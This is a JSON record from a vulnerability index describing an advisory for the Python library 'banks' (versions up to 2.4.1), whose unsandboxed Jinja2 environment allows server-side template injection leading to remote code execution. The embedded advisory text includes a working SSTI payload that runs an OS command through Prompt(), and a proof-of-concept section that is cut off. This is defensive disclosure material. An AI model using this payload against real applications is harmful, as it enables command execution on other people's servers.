{"items":[{"id":"NVI-00018251","kind":"vulnerability","title":"banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-gphh-9q3h-jgpp","CVE-2026-44209"],"plain_summary":"GitHub lists this reviewed advisory for banks. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-00c07b5658b16aed3adb4f139e0d1011"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-08T23:29:17.000Z","value":"7.5 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-00c07b5658b16aed3adb4f139e0d1011"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-00c07b5658b16aed3adb4f139e0d1011","url":"https://github.com/advisories/GHSA-gphh-9q3h-jgpp","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-gphh-9q3h-jgpp","publisher":"GitHub Advisory Database","observed_at":"2026-11-07T00:51:53.608Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-00c07b5658b16aed3adb4f139e0d1011"],"technology":"banks","known_exclusions":[],"conditions_summary":"## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import P","public_affected_ranges":["<= 2.4.1"]}],"null_published_at":"2026-11-07T07:07:39.794Z","source_updated_at":"2026-06-08T23:29:17.000Z","source_disclosed_at":"2026-05-08T20:36:22.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-07T00:51:53.608Z"}],"next_cursor":null,"snapshot_revision":"42594"}